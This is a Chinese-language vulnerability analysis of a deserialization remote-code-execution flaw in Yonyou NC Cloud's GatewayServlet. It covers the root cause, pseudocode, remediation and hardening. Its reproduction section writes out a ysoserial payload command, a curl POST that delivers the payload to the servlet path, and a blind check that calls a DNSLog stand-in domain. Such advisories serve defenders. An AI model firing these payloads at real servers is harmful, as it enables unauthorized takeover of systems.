用友NC Cloud GatewayServlet 反序列化远程代码执行漏洞分析
1. 漏洞概述
漏洞名称: 用友NC Cloud GatewayServlet 反序列化远程代码执行漏洞
漏洞类型: 反序列化漏洞 -> 远程代码执行 (RCE)
危险等级: 严重 (Critical)
影响组件: 用友NC Cloud 系统内的 nccloudgateway.GatewayServlet 组件。
漏洞描述: 该漏洞源于用友NC Cloud 系统的某个接口或Servlet(通常路径为 /servlet/~ic/nccloudgateway.GatewayServlet)在处理请求数据时,未对用户输入进行严格的安全检查,直接进行了不安全的Java反序列化操作。攻击者可以构造恶意的序列化数据,在目标服务器上触发反序列化过程,从而执行任意系统命令,完全控制服务器。
2. 影响版本
根据漏洞情报,受影响的版本主要为特定版本的用友NC Cloud系统。请注意,漏洞的具体影响范围需以官方发布的安全公告为准,但通常涉及以下版本:
- 用友NC Cloud 1909 及之前的部分版本
- 其他可能存在类似不安全反序列化代码的NC Cloud版本
确认方法: 通过访问疑似存在漏洞的URL路径(如:http://[target]:[port]/servlet/~ic/nccloudgateway.GatewayServlet),并根据其响应状态或返回错误信息来判断组件是否存在。
3. 漏洞原理深度分析
3.1 核心概念:Java反序列化漏洞
Java序列化是将对象状态转换为字节流的过程,反序列化则是将字节流恢复为对象的过程。许多Java应用会通过网络接收序列化数据并进行反序列化。如果应用反序列化了恶意构造的字节流,攻击者就能在目标系统上触发执行特定类(如 ObjectInputStream 的 readObject() 方法)中的代码。
3.2 漏洞触发点
在用友NC Cloud系统中,GatewayServlet 被设计用于处理网关请求。在其处理逻辑(例如 doPost 方法)中,很可能存在类似以下危险代码:
// 伪代码,示意漏洞成因
public class GatewayServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
// 直接从HTTP请求中获取输入流
InputStream inputStream = request.getInputStream();
// 关键危险操作:未经过滤直接进行反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object evilObject = ois.readObject(); // !!!漏洞触发点!!!
// ... 后续处理逻辑 ...
} catch (Exception e) {
// 错误处理
}
}
}
3.3 攻击链利用
攻击者会利用常见的公开的或经过修改的Gadget链(利用链)来构造恶意序列化数据。一个典型的利用链可能如下:
- 入口点 (Sink):
GatewayServlet的readObject()。 - 利用链 (Gadget Chain): 可能组合利用Apache Commons Collections、Beanutils、C3P0等库中存在危险方法的类(如
InvokerTransformer,TemplateImpl等)。 - 最终效果 (Payload): 通过利用链,最终执行
Runtime.getRuntime().exec("your_command")或加载恶意字节码。
4. 漏洞复现与验证(仅供安全研究用途)
注意:以下操作仅限于授权测试的环境,严禁用于未授权的测试。
4.1 环境准备
- 目标: 搭建或获取受影响的用友NC Cloud测试环境。
- 工具:
- ysoserial.jar: 著名的Java反序列化利用工具,用于生成各种Gadget链的Payload。
- Burp Suite: 用于拦截和重放HTTP请求。
- Curl / Postman: 用于发送Payload。
4.2 利用步骤
- 识别目标: 确认目标存在
/servlet/~ic/nccloudgateway.GatewayServlet路径并可访问。 - 生成Payload: 使用
ysoserial生成恶意序列化数据。例如,使用CommonsCollections链执行whoami命令:
注意:根据目标环境的ClassPath,可能需要尝试不同的Gadget链(如java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.serCommonsCollections1-10,Beanutils1,C3P0等)。 - 发送Payload: 将生成的
payload.ser文件内容作为HTTP POST请求的Body发送到漏洞URL。# 使用curl发送 curl -X POST --data-binary @payload.ser http://target:port/servlet/~ic/nccloudgateway.GatewayServlet # 或者使用Burp Suite: # 1. 拦截一个正常的POST请求到该Servlet。 # 2. 将整个请求体(Body)替换为生成的Payload字节。 # 3. 发送请求。 - 验证执行:
- 如果命令执行成功,响应包中可能会有命令执行的回显(取决于Web容器配置和利用链)。
- 更常见的是使用DNSLog或HTTPLog进行盲注验证,例如执行
curl http://your-dnslog-domain/或ping your-dnslog-domain,然后在DNSLog平台查看是否有解析记录,从而确认漏洞存在。
5. 修复建议
5.1 临时缓解措施
- 访问控制: 在防火墙、WAF或负载均衡设备上,立即阻断对
/servlet/~ic/nccloudgateway.GatewayServlet路径的外部访问。 - 删除或禁用Servlet: 如果业务不需要此功能,可以考虑在
web.xml中注释或删除对应的Servlet映射配置,并重启应用服务。 - 升级WAF规则: 部署Web应用防火墙(WAF),并更新规则以检测和拦截针对Java反序列化漏洞的攻击流量。
5.2 根本解决方案
- 官方补丁: 这是最推荐、最安全的方式。 立即联系用友官方,获取针对此漏洞的安全补丁并按照指导进行升级。
- 代码修复(如果无法立即升级): 修改
GatewayServlet的代码,绝对禁止直接反序列化来自外部的数据。- 使用白名单机制: 如果业务必须使用序列化,应使用严格的白名单机制,只允许反序列化预期的、安全的类。
- 替换数据格式: 使用JSON等更安全的数据交换格式替代Java原生序列化。
- 使用安全过滤器: 引入安全组件(如
SerialKiller)来过滤危险的反序列化类。
5.3 安全加固
- 最小化依赖: 从项目中移除不必要的、存在已知Gadget的库(如旧版本的Apache Commons Collections)。
- JVM强化: 使用JDK提供的反序列化过滤器(JEP 290),通过配置
jdk.serialFilter来限制可反序列化的类。 - 网络隔离: 对重要的企业应用系统实施严格的网络隔离,限制不必要的互联网访问。
6. 免责声明
本文档提供的信息仅用于教育目的和授权下的安全测试,旨在帮助企业和安全人员了解漏洞原理并进行有效防护。严禁任何人使用文中描述的技术对任何系统进行未授权的测试和攻击。根据《网络安全法》,任何未经授权的入侵、破坏计算机系统的行为均属违法。使用者需自行承担因滥用本文信息而产生的所有法律后果。